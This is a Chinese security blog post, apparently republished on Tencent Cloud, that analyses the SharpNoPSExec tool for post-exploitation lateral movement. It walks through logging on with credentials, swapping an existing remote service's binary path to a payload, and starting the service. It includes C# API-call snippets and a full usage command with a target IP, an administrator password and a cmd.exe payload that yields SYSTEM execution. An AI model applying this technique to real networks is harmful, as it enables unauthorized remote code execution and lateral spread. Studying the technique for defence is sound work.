首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >由SharpNoPSExec看lateral movement

由SharpNoPSExec看lateral movement

作者头像
鸿鹄实验室
发布2021-04-29 17:11:46
6040
发布2021-04-29 17:11:46
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

前言

Github上发布了一款名叫SharpNoPSExec的工具,地址为https://github.com/juliourena/SharpNoPSExec 主要功能就是后渗透中的横向移动。而横向移动也一直是老生常谈的话题,无论是PSexec还是wmi等等都是为了快速获取其他目标的权限,而目前各类的杀软、EDR也已经对此类攻击方式做了许多的防御,那PSexec来说,默认情况下是使用服务来在目标机器上来执行代码,而也有部分防御设备是按照psexec的默认服务名来进行防御的,而其也可通过参数来设置服务名。

我们就从SharpNoPSExe该工具,来窥探Psexec的执行方法。

分析

在分析该工具之前,我们先来了解服务创建、执行的基本步骤。首先是OpenSCManagerW

SC_HANDLE OpenSCManagerW(
 LPCWSTR lpMachineName,
 LPCWSTR lpDatabaseName,
 DWORD dwDesiredAccess
);

关于api的基本释义这里就不多说了,c# 的 demo如下:

using System;
using System.Runtime.InteropServices;

namespace Win32Test
{
    class Program
    {
        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true,
CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(string machineName, string databaseName,
uint dwAccess);
        static void Main(string[] args)
        {
            String target = "appsrv01";

            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);

        }
    }
}

服务打开后我们该使用下面的api ChangeServiceConfigA来进行操作,函数原型如下:

BOOL ChangeServiceConfigA(
  SC_HANDLE hService,
  DWORD     dwServiceType,
  DWORD     dwStartType,
  DWORD     dwErrorControl,
  LPCSTR    lpBinaryPathName,
  LPCSTR    lpLoadOrderGroup,
  LPDWORD   lpdwTagId,
  LPCSTR    lpDependencies,
  LPCSTR    lpServiceStartName,
  LPCSTR    lpPassword,
  LPCSTR    lpDisplayName
);

使用方法如下,先导入函数:

[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
string lpDisplayName);

然后调用:

string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
null, null, null, null);

此时便可以将指定服务的程序,替换为自定义程序。

然后就是开启服务,api为StartService ,原型如下:

BOOL StartServiceA(
 SC_HANDLE hService,
 DWORD dwNumServiceArgs,
 LPCSTR *lpServiceArgVectors
);

导入调用:

[DllImport("advapi32", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[]
lpServiceArgVectors);

bResult = StartService(schService, 0, null);

然后这就是本地服务操作的基本流程了。但是我们需要操作的远程计算机所以又用到了下面的函数:

BOOL LogonUserA(
  LPCSTR  lpszUsername,
  LPCSTR  lpszDomain,
  LPCSTR  lpszPassword,
  DWORD   dwLogonType,
  DWORD   dwLogonProvider,
  PHANDLE phToken
);
BOOL ImpersonateLoggedOnUser(
  HANDLE hToken
);

那么目前我们的执行流程也就有了:

登录用户-----> 打开远程服务 -----> 设置服务执行程序为我们的payload -----> 开启服务

SharpNoPSExec也是这样来做的:

利用

SharpNoPSExec.exe --target=192.168.2.110 --payload="c:\windows\system32\cmd.exe /c calc.exe" --username=administrator --password=abc123!

目前成功开启calc进程,权限为system

更多精彩推荐,请关注我们

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-04-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档